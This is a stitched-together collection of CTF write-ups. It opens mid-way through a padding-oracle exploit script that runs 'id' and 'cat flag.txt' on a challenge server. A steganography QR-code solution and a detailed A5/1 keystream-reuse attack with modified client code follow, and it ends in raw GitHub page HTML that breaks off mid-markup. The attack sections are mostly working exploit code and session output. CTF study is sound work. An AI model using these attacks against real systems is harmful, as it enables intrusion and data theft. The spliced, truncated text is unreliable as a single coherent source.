xor_string("".join(map(chr, xor_block)), real_ct) new_session = base64.b64encode(iv) + ":" + base64.b64encode(ct) send(s, 'session --set ' + new_session) result = receive_until_match(s, '\$ ') if 'Invalid' not in result and "PKCS7" not in result: print(i, xor_block, result) send(s, 'id') print(receive_until_match(s, '\$ ')) send(s, 'cat flag.txt') result = receive_until_match(s, '\$ ') if 'ctfzone' in result: print(result) break main()``` And we get `ctfzone{2e71b73d355eac0ce5a90b53bf4c03b2}`
# Steg It Up It isn't as easy as it looks :( ## The Premise Well we basicallly an image file. As you should always do in this case, we run it through stegsolve. Alpha 0 hits paydirt. We get a series of QR codes,17 to be exact. ## The solving This was a little disappointing as it was verz straigtforward. All you had to do was to read in each QR code which contained a small part of the flag. I automated the task with the follwing script: ```pythonfrom PIL import Imageimport osfrom pyzbar.pyzbar import decodedef crop(path, input, height, width, k_, area): k = 0 k = k_ im = Image.open(input) imgwidth, imgheight = im.size for i in range(0,imgheight,height): for j in range(0,imgwidth,width): box = (j, i, j+width, i+height) a = im.crop(box) try: a.save(path + 'solvi' + str(k)+'.bmp') k +=1 except Exception as e: print e flag = ""for i in range(17): tmp = 'solvi'+str(i)+'.bmp' flag+=decode(Image.open(tmp))[0][0]print stri``` The flag is: ```d4rk{s000_m4ny_0f_7h3m_l0l_1_h4v33_t0_m4k333_th3_fl4g_l0ng_f0r_n0000_r3450n_1m40}c0de```
# Crypto A5/1 (crypto, 380p, 12 solved) ```./chatclient 43.224.35.245 3425 one of secret key: id: manh key: 0x7f6949db22eeada0 Can you get the secret?``` In the task we get [lots of sources](crypto01.zip) of the server and client applications.In short, the server is running a chatbot, which responds with a set of predefined responses, based on how close our input to predefined questions.The communication is encrypted via A5/1, where the symmetrical shared key is derived from secret key and timestamp. ## Overview The most important part is the chatbot loop: ```cA51Comm a51Comm(secretKey, COMM_TIMEOUT, fd, fd);if (DEBUG) {std::cout << "Enter encrypted mode\n";}while(1) { if (!a51Comm.receive(sInput)) { // some error occured std::cerr << "Some error occured at receive\n"; return 1; } l.log("Got: "); l.log(sInput); if (DEBUG) {std::cout << "Got: " << sInput << "\n";} if (sInput == "quit") { l.log("quit"); if (DEBUG) {std::cout << "quit\n";} break; } else if (sInput == "super") { superMode = true; if (!a51Comm.send(std::string("Enter supper mode!"))) { // some error occured std::cerr << "Some error occured at send\n"; return (1); } l.log("Enter super mode"); getSuperSecretKey(superSecretKey, argv[3]); a51Comm = A51Comm(superSecretKey, COMM_TIMEOUT, fd, fd); } else if (sInput == "secret") { if (!superMode) { if (!a51Comm.send(std::string("You have not entered super mode!"))) { // some error occured std::cerr << "Some error occured at send\n"; return (1); } l.log("Have not entered super mode!"); } else { std::string data = "Secret: "; data += getSecretData(argv[4]); if (!a51Comm.send(data)) { // some error occured std::cerr << "Some error occured at send\n"; return (1); } l.log("Sent secret"); } } else { sResponse = getResponse(sInput, records); if (!a51Comm.send(sResponse)) { // some error occured std::cerr << "Some error occured at send\n"; return (1); } l.log(sResponse); }}``` We can see here that the bot creates encrypted channel using the secret key we provide.Then it's waiting for commands.There are 2 interesting special command -> `secret` and `super`.First one sends us the flag, but it can only be invoked after `super`.The problem is that `super` triggers changing the encrypted channel to use a different secret key, which we don't know. We need to invoke `super` command, and then issue `secret` command to get back the flag.However `super` will change the secret key, and from this point the server won't be able to properly decrypt our messages, and we won't be able to decrypt messages from the server. ## A5/1 stream cipher Without going into much details, the encryption in the task is using a stream-cipher with keystream derived from secret key and timestamp.However, the timestamp is changed only every 30 seconds, and there is no notion of any counter (like in CTR mode), so for 30 seconds keystream stays constant! Timestamps are kept independent, and are sent with the encrypted message.This means the receiving side uses the timestamp we send to decrypt the data. ## Recovering keystream and forging messages Since the responses from the server are pre-defined, we can easily recover the keystream, by XORing the encrypted payload with the plaintext message.We can do this easily, because the message contains also the `length`, and most of the plaintexts have different length, only 24 is repeated.This means that even if the server changes the encryption secret key after we issue `super` command, we can recover the keystream! With keystream, we can encrypt any message we want (assuming it's not too long) by simply XORing the message with keystream we recovered.We know the timestamp server used, so we can send the same one, to make sure the server gets identical keystream and decrypts message correctly.Server will also keep his own timestamp valid for 30 seconds, so every message will be encrypted with the same keystream, and therefore we can easily decrypt them. ## Getting the flag The idea of the attack is pretty simple now: 1. Connect to the server.2. Send `super` message.3. Send some random message, just so we can get back response from server encrypted with secret key. Repeat this if we get message which is too short (like `Hey`) or is ambigious (like length 24). Save the timestamp used by server.4. XOR the ciphertext with known plaintext message with the same length to recover keystream.5. Encrypt `secret` using the keystream by XORing and send the encrypted `secret` with the same timestamp server was using.6. Save the encrypted `flag` we get.7. Encrypt `How are you?` using the keystream by XORing and send the encrypted value with the same timestamp server was using. Repeat this until we get back the answer with length 56.8. XOR the last message ciphertext with `I'm a bot, I don't feel much of anything, how about you?` to recover 56 bytes of keystream.9. XOR keystream with encrypted flag. We did this by modifying the client a bit, and writing the rest of the attack in python.We added a function to the crypto communication library, so we could send already encrypted payloads directly, using the same timestamp as server was using: ```cbool A51Comm::send_raw_hex(const std::string& data){ std::cout<<"========================== SEND RAW START =========================="<<"\n"; timestamp = partnerTimestamp; uint64_t dataLength = data.length()/2; std::cout << "timestamp: " << timestamp << "\n"; std::cout << "data-length: " << dataLength << '\n'; const char* payload = hex_to_string(data).c_str(); // send in form: p64(timestamp) + p64(data-length) + encrypted write(fdOut, &timestamp, 8); write(fdOut, &dataLength, 8); write(fdOut, payload, dataLength); std::cout<<"========================== SEND RAW END =========================="<<"\n"; return true;}``` We modified the client a bit as well: ```c A51Comm a51Comm(key, COMM_TIMEOUT, sockfd, sockfd); a51Comm.send(std::string("Hi")); a51Comm.receive(input); puts(input.c_str()); a51Comm.send(std::string("super")); a51Comm.receive(input); puts(input.c_str()); a51Comm.send(std::string("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")); a51Comm.receive(input); puts(input.c_str()); while(true) { fgets(buffer, BUFF_LEN, stdin); buffer[strcspn(buffer, "\n")] = 0; if (!a51Comm.send_raw_hex(std::string(buffer))) { // some error occured fprintf(stderr, "Some error occured at send\n"); exit(1); } if (!a51Comm.receive(input)) { // some error occured fprintf(stderr, "Some error occured at receive\n"); exit(1); } puts(input.c_str()); }``` We automatically send greeting, then enter super mode, and then send lots of `aa` hoping to get a reasonably long response.After that we start sending raw hex payloads to the server.We also added logging of the raw hex payloads in the client. The other part of the attack is: ```pythonimport codecs from crypto_commons.generic import xor_string def main(): responses = {} with codecs.open("records.txt") as input_file: for line in input_file: if "<response>" in line: response = line[line.index("<response>") + 11:-1] responses[len(response)] = response length = raw_input("len: ") payload = raw_input("raw payload: ").decode("hex") s = responses[int(length)] xor_key = xor_string(s, payload) print('secret', xor_string("secret", xor_key).encode("hex").upper()) print('How are you?', xor_string("How are you?", xor_key).encode("hex").upper()) flag_ct = raw_input("flag payload") how_ct = raw_input("'How are you?' payload") xor_key = xor_string(how_ct.decode("hex"), responses[56]) print(xor_string(flag_ct.decode("hex"), xor_key)) main()``` This code asks for length and raw hex payload of the server message encrypted after entering super mode.We copy those values from the console client from the logging we added.Then it provides us with 2 hex payloads encrypted with the same keystream.We simply copy those 2 messages to the client.Then we copy back the payloads we got.We might need to send the last message a few times until we get back 56-long message. Flag is 58 bytes long, and keystream we can get is up to 56 bytes, but last flag character is `}` so we need to test only 16 hexdigits to recover full flag. The simple session is: ```len: 17raw payload: 2d1f02a0a463f2bbb6dc4d89ffd3d8ed75('secret', '175D0CF2A765')('How are you?', '2C5718A0A363F8F6EFE551D3')flag payload 375d0cf2a765a7f6c1e24d98eef5d8f420f4d73cb43f8fc8f02eecf2afba70d5a4072f336464fcb658f0b77225dee173e7bd8edbbce890f33a23'How are you?' payload 2d1f02a0a331ffb9e2a604a5abd9d6ee7cb6c46ce262dbdbae39b9a2ebe320c3fd0d6070383ca7b043e4e67b3498e629b1f19fcca6b286fbSecret: WhiteHat{63638833b68d6668d67415a749ffff899e7c5c7``` The final flag is `WhiteHat{63638833b68d6668d67415a749ffff899e7c5c75}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8B92:C14D:2C3733C:2D3E03E:64122617" data-pjax-transient="true"/><meta name="html-safe-nonce" content="4dc13b0381204d3c489cfb8d4c8caac7b2281f9b997d466cecccbc7808086826" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4QjkyOkMxNEQ6MkMzNzMzQzoyRDNFMDNFOjY0MTIyNjE3IiwidmlzaXRvcl9pZCI6Ijc0ODMwMTY2NjQxNjgxNDY0NTUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="9f0663d54970c8e608dfb3f8f47976bd43d30620ce05aff63b8fbf2d5c34de20" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:145445906" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Solutions to various of Capture The Flag challenges from different competitions that I have managed to solve. - CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f2e0bc4c04e1b1c41b1d73e1644439cbb7e3e086ecc8f5247426b4659ff543f9/spearphisher/CTF-Solutions" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions" /><meta name="twitter:description" content="Solutions to various of Capture The Flag challenges from different competitions that I have managed to solve. - CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions" /> <meta property="og:image" content="https://opengraph.githubassets.com/f2e0bc4c04e1b1c41b1d73e1644439cbb7e3e086ecc8f5247426b4659ff543f9/spearphisher/CTF-Solutions" /><meta property="og:image:alt" content="Solutions to various of Capture The Flag challenges from different competitions that I have managed to solve. - CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions" /><meta property="og:url" content="https://github.com/spearphisher/CTF-Solutions" /><meta property="og:description" content="Solutions to various of Capture The Flag challenges from different competitions that I have managed to solve. - CTF-Solutions/WhiteHatGrandPrix2018/pwn02 at master · spearphisher/CTF-Solutions" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/spearphisher/CTF-Solutions git https://github.com/spearphisher/CTF-Solutions.git"> <meta name="octolytics-dimension-user_id" content="42549573" /><meta name="octolytics-dimension-user_login" content="spearphisher" /><meta name="octolytics-dimension-repository_id" content="145445906" /><meta name="octolytics-dimension-repository_nwo" content="spearphisher/CTF-Solutions" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="145445906" /><meta name="octolytics-dimension-repository_network_root_nwo" content="spearphisher/CTF-Solutions" /> <link rel="canonical" href="https://github.com/spearphisher/CTF-Solutions/tree/master/WhiteHatGrandPrix2018/pwn02" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" 